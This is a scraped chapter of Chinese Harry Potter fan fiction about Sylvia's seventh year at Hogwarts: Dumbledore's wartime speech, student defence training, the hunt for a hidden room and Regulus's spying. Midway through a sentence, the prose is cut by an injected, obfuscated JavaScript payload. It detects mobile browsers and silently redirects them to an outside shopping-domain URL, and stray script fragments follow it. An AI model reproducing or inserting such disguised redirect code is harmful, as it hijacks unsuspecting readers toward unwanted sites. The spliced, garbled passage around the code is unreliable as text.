文趣网 > 都市小说 > HP希尔维亚小姐感到不满 > 36. 希尔维亚看到霍格沃茨仍感到安全
    九月一日的霍格沃茨特快比往年安静了一些。

    并不是没有笑声。低年级学生仍然挤在车厢里交换暑假的巧克力蛙卡,几个格兰芬多为了魁地奇新赛季的阵容争得面红耳赤,西里斯甚至在列车开出不到半小时以后就和詹姆打赌,今年斯内普到底会不会在第一周就给哪个倒霉蛋扣掉二十分。可这种熟悉的热闹下面始终压着另一层东西。好几个原本应该返校的名字没有出现,有人的家长已经带全家去了法国或者瑞士,也有人干脆没有解释为什么不回来。车站送行的人比以前更多,父母拥抱孩子的时间也明显更长。

    希尔维亚一路上没有怎么看《预言家日报》。她最近越来越觉得报纸上的数字很容易让人麻木。又有几个人失踪,又有一个家庭遭到袭击,又有一名魔法部职员在回家途中没有出现。真正让战争显得具体的,反而是那些空出来的座位。

    奥克塔维娅仍然来了。她坐在斯莱特林那边,看起来和平时没有太大区别,只是比暑假见面时更沉默。福利家的问题没有解决,她的堂兄仍然是食死徒,北侧庄园依旧被那一支家族控制。希尔维亚在站台上见到她时没有问结果,只说法国那边准备好的钱和安全屋仍然有效。奥克塔维娅点了点头,没有拒绝,也没有承诺会用。这种关系现在反而比过去诚实。有些问题不是一句英雄主义的“我能帮你”就能解决。希尔维亚也不再幼稚得觉得自己可以照顾好所有人的命运。

    霍格沃茨本身也变了。学生进入城堡以前需要经过额外检查,费尔奇手里多了一长串禁止携带的可疑物品名单,教师会随机检查包裹,猫头鹰邮件也要先经过一道识别恶咒和追踪魔法的屏障。霍格莫德周末没有取消,但新的规定比往年严格得多,低年级学生几乎不可能脱离教师和级长视线。

    西里斯看完公告以后评价:“再这样下去,霍格莫德就快比阿兹卡班难进了。”

    莱姆斯提醒他阿兹卡班大概不需要家长签字同意。

    礼堂仍然和以前一样明亮。漂浮在半空的蜡烛,金色盘子,四张长桌,天花板上是一片很清楚的夜空。新生分院时还是有人欢呼,斯莱特林和格兰芬多照样试图把声音盖过对方。希尔维亚坐在熟悉的位置,看着一年级孩子一个个戴上那顶旧帽子,忽然意识到战争对于他们中的很多人仍然只是大人说话时会突然压低声音的东西。

    然后邓布利多站了起来。

    礼堂慢慢安静。

    他今年没有立刻用惯常的轻松话题开场,也没有先讨论禁止进入的森林或者新的校规。邓布利多站在教师席中央,目光从四张长桌上缓慢扫过,等到最后一点说话声消失以后才开口。

    “欢迎回到霍格沃茨。”

    声音并不大,却清楚地传遍整个礼堂。

    “今年,我恐怕不能假装外面的世界与这座城堡无关。你们当中的一些人已经失去了亲属,一些家庭不得不离开自己的家,还有一些人坐在这里,却不知道明天会不会收到一封自己不愿意打开的信。对于这些事情,我不会告诉你们不要害怕。恐惧并不可耻。”

    礼堂比刚才更安静了。希尔维亚注意到奥克塔维娅低着头。

    “但我希望你们记住另一件事。”邓布利多继续说,“恐惧与服从并不是同一回事。危险与绝望也不是同一回事。有人希望你们相信,力量决定谁有资格说话,血统决定谁有资格生活,恐惧则足以让所有人闭嘴。只要我们开始按照这样的规则彼此判断,他就不需要走进霍格沃茨,也已经得到了一部分他想要的东西。”

    这一次,教师席上的麦格教授微微抬起了头。而斯莱特林的学生们许多脸上挂着不屑的神情。

    邓布利多停顿了一下。

    “因此,今年霍格沃茨会有更多规定。你们也许会嫌烦,甚至十分合理地嫌烦。”礼堂里终于出现了一点笑声,“但这些规定不是为了教你们害怕,而是为了让尽可能多的人安全地坐在这里,继续学习、继续争论、继续在魁地奇比赛以后拒绝承认裁判是公正的。”

    詹姆立刻看向西里斯。西里斯一本正经地点头,显然认为校长终于说到了真正重要的问题。

    “学校存在的意义,从来不只是让你们学会多少咒语。”邓布利多说,“如果知识不能帮助一个人作出自己的判断,如果能力只能教会一个人怎样压过比自己弱的人,那么我们在这里教得再好,也只是制造更有本事的暴徒。”希尔维亚的目光停在教师席上。

    她想起暑假里的奥克塔维娅。想起多萝西一家离开家时根本没有真正意义上的选择。也想起雷古勒斯主动加入食死徒以后,又开始偷偷破坏他们的行动。

    “你们会听到许多人告诉你们,时代特殊,所以一些事情必须暂时忍受。”邓布利多最后说,“有时候这是对的。我们会限制夜间出入,会检查危险物品,会要求你们接受一些平时不需要的防护。但如果有人要求你们因为时代特殊,就暂时停止把别人当人看,那么我希望你们至少先问一句:究竟是谁从这种‘暂时’里获利。”

    这句话以后,礼堂沉默了好几秒。邓布利多终于露出一点熟悉的笑意。

    “当然,我同样希望你们认真准备考试。伏地魔的存在并不能说服考试委员会取消N.E.W.T.,这一点令人遗憾。”

    笑声终于真正起来。

    七年级开始了。

    开学后的第一周,邓布利多把希尔维亚、詹姆、西里斯、莉莉和莱姆斯叫到了校长办公室。

    艾琳没有被排除,只是她当时正跟弗立维教授做一项魔法残留实验,后来单独听了同样的说明。彼得则根本没有被叫来。这个差别当时没有任何人特别在意。

    邓布利多没有邀请他们加入任何组织。

    恰恰相反,他第一句话就是:“你们还没有毕业。”

    西里斯靠在椅背上,似乎已经预感到后面不会有自己期待的部分。

    邓布利多明确告诉他们,过去两年他们已经事实上参与了与伏地魔有关的调查,而且现在都已经成年。黑尔家的撤离证明,他们偶尔可能拥有非常有价值的信息,也可能不得不面对学校课程以外的危险。但这并不意味着十七岁突然获得了与成年食死徒正面对抗的资格。

    学校仍然是主要责任。如果确有需要,他们可能在成年人监督下协助安全屋、传递信息、接应伤员或者承担撤离中的最后一段保护,但不会主动搜索敌人,不会独立行动,也不会被允许把自己组织成一支学生战斗小队。

    “如果有人告诉你们加入战争最重要的证明就是敢不敢往最危险的地方冲,”邓布利多看了一眼西里斯,“我建议先考虑那个人是不是非常希望少几个聪明的年轻巫师。”

    西里斯没有反驳。黑尔家的事情确实改变了他一点。

    以前他很容易把“没有追上去”理解成错过战斗。现在至少已经知道,如果一户人家最后全部活着离开,哪怕自己只守了一扇门,那也不是没有做事。

    希尔维亚更关心的是另一个安排。邓布利多允许她继续整理自己的战斗变形体系,而且不再局限于给几个人做实验。麦格教授会正式监督一小组高年级学生的防御训练,其中一部分内容可以由希尔维亚负责。这件事很快证明比她想象得困难。

    教西里斯的时候,她可以省略很多东西。他反应太快,只要理解目的,大部分动作自己就会调整;詹姆也一样,他从小变形天赋就很好,甚至会在她还没解释完以前修改结构。莉莉和艾琳虽然战斗风格不同,却都足够聪明,知道什么时候应该问。

    真正面对十几个普通高年级学生以后,希尔维亚第一次发现自己的说明有多糟糕。

    “墙面改变十五度左右,让咒语偏开,不要正面挡。”她第一次示范时说。

    一个拉文克劳学生十分认真地点头,然后几乎把半面石墙整个掀起来。

    麦格教授及时恢复墙壁,没有让任何人被压住。

    训练结束以后,她只对希尔维亚说了一句:“莫当特小姐,你必须停止假设别人已经理解你脑子里省略的三步。”

    希尔维亚觉得这句话比穆迪说她会害死队友还令人难受。因为麦格是对的。她第一次真正开始学习教学。

    不再只说结果,而是把自己思考时自动完成的部分拆出来:为什么斜面比硬抗便宜,为什么撤退通道不能全部依赖持续施法,为什么没有必要把一个简单障碍变成一头会咬人的石狮子。她甚至开始记录学生最常犯的错误,再反过来修改训练顺序。

    最难的一件事,是允许别人使用和她不同的方法。

    詹姆把她的一段防御墙改成了跃起用的支点,她最初觉得多余,测试以后却承认对他的战斗习惯更合适。莉莉把一道用来挡人的门改成了能够同时固定伤员担架的结构。一个赫奇帕夫学生魔力不强,却想出了利用桌椅和楼梯扶手代替直接变形墙面的办法,消耗远比她原来的简化版更低。

    希尔维亚开始把这些全部记下来。她第一次真正理解,教学应该是让方法离开自己以后还能继续长。

    西里斯则依然是最麻烦的示范对象。他明明知道标准动作,却总喜欢在训练时展示更快、更危险的版本。希尔维亚有一次让他示范从掩体后换位,他故意提前半拍移动,逼得她当着十几个学生的面抓住他的手腕,把魔杖向下压回正确角度。

    “这里先挡,再移动。”她站到他身后,手掌按着他的肩把重心往侧面推,“你动作快,不代表所有人都能跟你一样赌时间。”

    西里斯偏过头,两个人距离一下变得很近。

    “你是不是故意选我示范?”

    希尔维亚没松手。“因为你最不听话。”

    “听起来很偏爱。”

    她直接把他的肩推回去。

    前排几个学生突然对自己的笔记产生了异常浓厚的兴趣。希尔维亚扫了一眼,第一次意识到所谓“秘密关系”大概已经进入一种只剩当事人不公开承认的状态。

    九月真正重要的突破却来自魂器调查。

    过去几个月,他们已经越来越怀疑汤姆·里德尔当年申请黑魔法防御术教授职位不是单纯为了工作。如果他曾经在阿尔巴尼亚得到拉文克劳冠冕,又多年以后专程返回霍格沃茨,那么学校本身很可能是藏匿地点。

    问题一直是:霍格沃茨太大。

    活点地图几乎记录了他们能够发现的所有普通房间,却从来没有显示出一处适合作为长期秘密仓库的空间。直到詹姆某天把地图摊在桌上,忽然提出地图本身也可能存在边界。

    “我们画的是我们知道怎么定义的地方。”他说,“走廊就是走廊,教室就是教室,密道也至少有固定入口。可如果一个房间每次进去都不一样呢?”

    莱姆斯

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17855423|211887||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    立刻抬头。

    西里斯也停下了手里的羽毛笔。希尔维亚想起霍格沃茨那些从来没人认真验证过的传闻。有人在找厕所时遇见过从未见过的门;有人躲费尔奇时发现过一间临时储藏室;家养小精灵偶尔会说城堡会“给需要的人地方”。这些故事过去只属于霍格沃茨无数没必要追究的怪事,现在却突然有了共同结构。

    接下来两周,希尔维亚开始收集不同年代学生关于“突然出现的房间”的记录,艾琳则去查旧校史和拉文克劳资料。几个互不认识、相隔几十年的学生描述最终都指向八楼附近。

    这已经足够具体。艾琳同时提出另一个关键点:冠冕如果真的被里德尔找到,就不适合公开保存。金杯可以进入私人收藏,挂坠盒可以被戴在身上,戒指本来就是冈特家族的东西;冠冕却已经失踪几个世纪。一旦重新出现,太容易引起注意。所以最合理的处理方式就是藏起来。

    “而且如果他在霍格沃茨发现一个连地图都不能稳定记录的房间,”莉莉说,“他一定会觉得只有自己知道。”

    希尔维亚点头。“因为他总觉得自己是第一个真正理解秘密的人。”

    这很像汤姆·里德尔。

    雷古勒斯的情况却正在沿着相反方向发展。

    九月底,他第一次主动要求见希尔维亚,却没有提大脑封闭术。

    两个人在一间废弃教室碰面以后,他直接拿出一张折得很小的羊皮纸。上面只有三个姓氏、几个日期,以及很简短的区域标记。

    希尔维亚看了一遍,很快意识到这不是袭击目标。是食死徒内部联络人。

    “为什么给我这个?”

    “如果我突然不能再传消息,你们至少知道从哪里判断他们接下来会碰哪些地区。”

    希尔维亚抬头。

    雷古勒斯的表情很平静,这反而让她更不喜欢。

    “他们还在查你?”

    “没有证据。”

    “我问的不是有没有证据。”

    雷古勒斯沉默了片刻。“范围在缩小。”

    希尔维亚没有立刻接那张纸。

    “你想退出吗?”

    “现在不。”

    答案太快。

    雷古勒斯解释自己的理由也非常完整。黑尔一家活着,之前几个得到提前警告的人也活着。如果他现在离开,食死徒内部的资料就会重新对他们完全关闭。只要没有暴露,他继续留下显然能获得更多情报。

    危险的地方在于,这套逻辑不是假的。

    他确实救了人,所以每一次成功都在替下一次冒险提供证据。

    希尔维亚终于接过羊皮纸,却没有顺着他的结论往下走。“你开始觉得自己不可替代了。”

    雷古勒斯皱眉。“没有。”

    “有。”她看着他,“你现在不是在问留下还有没有价值。你是在用每一次救到人证明自己下一次也应该留下。”

    雷古勒斯没有说话。

    希尔维亚也没有逼他承认。

    几个月前她可能已经开始替他计算最安全的退出时间,甚至想办法提前把所有路线安排好。现在她只是把问题放在他面前。

    “我还是那句话。你想回来,我帮你。但什么时候回来,你自己决定。”

    雷古勒斯最终还是走了,没有答应退出。

    希尔维亚当天晚上把那三个名字交给邓布利多,作为一条备用线。

    十月以后,另一个变化发生得更加细微和不明显。魂器调查的核心会议越来越少叫彼得。

    没有人召开过什么正式会议决定排除他。事情只是自然变成这样:艾琳负责物品和残留,莉莉处理魔药、灵魂机制和记录,希尔维亚负责历史线与总体推理,詹姆和西里斯掌握活点地图与城堡探索,莱姆斯经常负责把散乱材料整理成能够继续查的结构。在每个人都分工明确的情况下,彼得显得可有可无。

    社交上什么都没有改变。詹姆仍然和他一起吃饭,西里斯照样和他一起开玩笑,莱姆斯还是会在他课程落下时帮忙。

    甚至正因为一切都和平常一样,没有人意识到这种区别正在积累。

    希尔维亚注意过一次。彼得推门进来时,他们已经讨论完冠冕线最重要的一段。她曾经想过要不要从头解释,最后却判断没有必要,彼得没有负责相关部分,之后知道结论就够了。这是非常合理的效率判断。也因此最容易被忽略。他们都没有意识到,裂痕已经慢慢产生。

    同一时期,八楼那条走廊终于给了他们答案。那天已经接近午夜,几个人在第三次沿同一段墙来回走过以后,原本空无一物的石墙上缓慢出现了一扇门。它就像本来一直在那里,只是直到这一刻才决定让他们看见。

    艾琳看着门框周围几乎无法辨认的魔法痕迹,莉莉下意识把魔杖握紧了一点。

    希尔维亚站在最前面,却没有开门。他们花了将近两年追查汤姆·里德尔为什么会在多年以后重新回到霍格沃茨。现在答案可能就在门后。

    而几乎在同一个星期,格里莫广场十二号的另一场谈话也结束了。

    伏地魔需要测试一个地方。

    一个不值得他亲自承担风险、也不能交给普通巫师的地方。

    于是他想起了布莱克家。

    更准确地说,他想起了布莱克家的家养小精灵。